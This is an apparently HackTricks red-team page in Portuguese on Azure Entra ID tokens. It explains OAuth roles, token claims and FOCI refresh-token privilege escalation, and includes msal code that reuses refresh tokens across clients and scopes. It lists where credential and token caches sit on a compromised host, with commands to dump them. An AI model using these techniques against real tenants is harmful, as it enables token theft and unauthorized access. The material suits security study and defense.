Az - Tokens & Public Applications

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações Básicas

Entra ID é a plataforma de identity and access management (IAM) baseada em nuvem da Microsoft, servindo como o sistema fundamental de autenticação e autorização para serviços como Microsoft 365 e Azure Resource Manager. Azure AD implementa o framework de autorização OAuth 2.0 e o protocolo de autenticação OpenID Connect (OIDC) para gerenciar o acesso a recursos.

OAuth

Participantes chave no OAuth 2.0:

  1. Servidor de Recursos (RS): Protege recursos pertencentes ao proprietário do recurso.
  2. Proprietário do Recurso (RO): Tipicamente um usuário final que possui os recursos protegidos.
  3. Aplicação Cliente (CA): Uma aplicação que busca acesso a recursos em nome do proprietário do recurso.
  4. Servidor de Autorização (AS): Emite access tokens para aplicações clientes após autenticar e autorizar elas.

Escopos e Consentimento:

  • Escopos: Permissões granulares definidas no servidor de recursos que especificam níveis de acesso.
  • Consentimento: O processo pelo qual um proprietário do recurso concede a uma aplicação cliente permissão para acessar recursos com escopos específicos.

Integração com Microsoft 365:

  • Microsoft 365 utiliza Azure AD para IAM e é composto por múltiplas aplicações OAuth “first-party”.
  • Essas aplicações são profundamente integradas e frequentemente têm relações de serviço interdependentes.
  • Para simplificar a experiência do usuário e manter a funcionalidade, a Microsoft concede “implied consent” ou “pre-consent” a essas aplicações first-party.
  • Implied Consent: Certas aplicações são automaticamente concedidas acesso a escopos específicos sem aprovação explícita do usuário ou do administrador.
  • Esses escopos pre-consentidos normalmente ficam ocultos tanto para usuários quanto para administradores, tornando-os menos visíveis nas interfaces de gerenciamento padrão.

Tipos de Aplicações Cliente:

  1. Clientes Confidenciais:
  • Possuem suas próprias credenciais (ex.: senhas ou certificados).
  • Podem autenticar-se com segurança no servidor de autorização.
  1. Clientes Públicos:
  • Não possuem credenciais únicas.
  • Não conseguem autenticar-se de forma segura no servidor de autorização.
  • Implicação de Segurança: Um atacante pode se passar por uma aplicação cliente pública ao solicitar tokens, já que não há mecanismo para o servidor de autorização verificar a legitimidade da aplicação.

Tokens de Autenticação

Existem três tipos de tokens usados no OIDC:

  • Access Tokens: O cliente apresenta este token ao servidor de recursos para acessar recursos. Pode ser usado apenas para uma combinação específica de usuário, client e recurso e não pode ser revogado até expirar — isto é 1 hora por padrão.
  • ID Tokens: O cliente recebe este token do servidor de autorização. Contém informações básicas sobre o usuário. Está vinculado a uma combinação específica de usuário e cliente.
  • Refresh Tokens: Fornecido ao cliente junto com o access token. Usado para obter novos access e ID tokens. Está vinculado a uma combinação específica de usuário e cliente e pode ser revogado. A expiração padrão é 90 dias para refresh tokens inativos e sem expiração para tokens ativos (a partir de um refresh token é possível obter novos refresh tokens).
  • Um refresh token deveria estar vinculado a um aud, a alguns scopes, e a um tenant, e ele deveria somente conseguir gerar access tokens para aquele aud, scopes (e nada mais) e tenant. Contudo, isso não é o caso com os FOCI applications tokens.
  • Um refresh token é criptografado e somente a Microsoft pode descriptografá-lo.
  • Obter um novo refresh token não revoga o refresh token anterior.

Warning

Informação para acesso condicional é armazenada dentro do JWT. Então, se você solicitar o token a partir de um endereço IP permitido, esse IP será armazenado no token e então você pode usar esse token a partir de um IP não permitido para acessar os recursos.

Access Tokens “aud”

O campo indicado em “aud” é o servidor de recursos (a aplicação) usado para realizar o login.

O comando az account get-access-token --resource-type [...] suporta os seguintes tipos e cada um deles adicionará um “aud” específico no access token resultante:

Caution

Observe que os itens abaixo são apenas as APIs suportadas por az account get-access-token, mas existem mais.

exemplos de aud
  • aad-graph (Azure Active Directory Graph API): Usado para acessar a legada Azure AD Graph API (obsoleta), que permite que aplicações leiam e escrevam dados de diretório no Azure Active Directory (Azure AD).
  • https://graph.windows.net/
  • arm (Azure Resource Manager): Usado para gerenciar recursos do Azure através da Azure Resource Manager API. Isso inclui operações como criar, atualizar e excluir recursos como máquinas virtuais, contas de armazenamento e mais.
  • https://management.core.windows.net/ or https://management.azure.com/

  • batch (Azure Batch Services): Usado para acessar o Azure Batch, um serviço que permite executar aplicações de computação paralela e de alto desempenho em larga escala na nuvem.

  • https://batch.core.windows.net/

  • data-lake (Azure Data Lake Storage): Usado para interagir com o Azure Data Lake Storage Gen1, que é um serviço escalável de armazenamento de dados e análise.
  • https://datalake.azure.net/

  • media (Azure Media Services): Usado para acessar o Azure Media Services, que fornece processamento e entrega de mídia na nuvem para conteúdo de vídeo e áudio.

  • https://rest.media.azure.net

  • ms-graph (Microsoft Graph API): Usado para acessar a Microsoft Graph API, o endpoint unificado para dados dos serviços Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Enterprise Mobility e serviços de Segurança.
  • https://graph.microsoft.com

  • oss-rdbms (Azure Open Source Relational Databases): Usado para acessar serviços de Database do Azure para engines relacionais open-source como MySQL, PostgreSQL e MariaDB.

  • https://ossrdbms-aad.database.windows.net

Access Tokens Scopes “scp”

O escopo de um access token é armazenado dentro da chave scp dentro do access token JWT. Esses escopos definem a que o access token tem acesso.

Se um JWT tem permissão para contatar uma API específica, mas não possui o scope para executar a ação solicitada, ele não será capaz de executar a ação com esse JWT.

Get refresh & access token example

# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"00b41c95-dab0-4487-9791-b9d2c32c80f2" # ID for Office 365 Management
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)


# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)

Outros campos do access token

  • appid: ID da aplicação usado para gerar o token
  • appidacr: O Application Authentication Context Class Reference indica como o client foi autenticado — para um public client o valor é 0, e se um client secret for usado o valor é 1
  • acr: A claim Authentication Context Class Reference é “0” quando a autenticação do usuário final não atendeu aos requisitos da ISO/IEC 29115.
  • amr: O método de autenticação indica como o token foi autenticado. Um valor “pwd” indica que uma password foi usada.
  • groups: Indica os grupos dos quais o principal é membro.
  • iss: O iss identifica o security token service (STS) que gerou o token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (o uuid é o tenant ID)
  • oid: O object ID do principal
  • tid: Tenant ID
  • iat, nbf, exp: Emitido em (quando foi emitido), Not before (não pode ser usado antes desse horário, normalmente mesmo valor que iat), Expiration time (tempo de expiração).

FOCI Tokens Privilege Escalation

Anteriormente foi mencionado que refresh tokens deveriam estar vinculados aos scopes com os quais foram gerados, à application e ao tenant a que foram destinados. Se qualquer uma dessas fronteiras for quebrada, é possível escalar privilégios, pois será possível gerar access tokens para outros recursos e tenants a que o usuário tem acesso e com mais scopes do que o originalmente pretendido.

Além disso, isso é possível com todos os refresh tokens na Microsoft identity platform (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) porque, como as docs mencionam: “Refresh tokens are bound to a combination of user and client, but aren’t tied to a resource or tenant. A client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them.”

Além disso, note que as aplicações FOCI são aplicações públicas, então no secret is needed para autenticar no servidor.

Os clientes FOCI conhecidos relatados na original research podem ser found here.

Obter escopo diferente

Seguindo o código de exemplo anterior, neste código é requisitado um novo token para um escopo diferente:

# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)

Obter client e scopes diferentes

# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

Onde encontrar tokens

Do ponto de vista de um atacante, é muito interessante saber onde é possível encontrar access and refresh tokens quando, por exemplo, o PC de uma vítima é comprometido:

  • Dentro de <HOME>/.Azure
  • azureProfile.json contém informações sobre usuários logados no passado
  • clouds.config contains informações sobre subscriptions
  • service_principal_entries.json contém credenciais de aplicações (tenant id, clients e secret). Apenas em Linux & macOS
  • msal_token_cache.json contém access tokens e refresh tokens. Apenas em Linux & macOS
  • service_principal_entries.bin e msal_token_cache.bin são usados no Windows e são criptografados com DPAPI
  • msal_http_cache.bin é um cache de requisições HTTP
  • Carregue-o: with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)
  • AzureRmContext.json contém informações sobre logins anteriores usando Az PowerShell (mas sem credenciais)
  • Dentro de C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\* há vários arquivos .bin com access tokens, ID tokens e informações de conta criptografadas com o DPAPI do usuário.
  • É possível encontrar mais access tokens nos arquivos .tbres dentro de C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\, que contêm um base64 criptografado com DPAPI contendo access tokens.
  • Em Linux e macOS você pode obter access tokens, refresh tokens and id tokens do Az PowerShell (se usado) executando pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
  • No Windows isso gera apenas id tokens.
  • É possível verificar se o Az PowerShell foi usado em Linux e macOS checando se $HOME/.local/share/.IdentityService/ existe (embora os arquivos contidos estejam vazios e sejam inúteis)
  • Se o usuário estiver logado no Azure com o browser, de acordo com este post é possível iniciar o fluxo de autenticação com um redirect to localhost, fazer o browser autorizar automaticamente o login e receber o refresh token. Note que existem apenas algumas aplicações FOCI que permitem redirect para localhost (como az cli ou o powershell module), então essas aplicações precisam estar permitidas.
  • Outra opção explicada no blog é usar a ferramenta BOF-entra-authcode-flow que pode usar qualquer aplicação porque ela obtém o OAuth code para então obter um refresh token a partir do título da página final de auth usando o redirect URI https://login.microsoftonline.com/common/oauth2/nativeclient.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks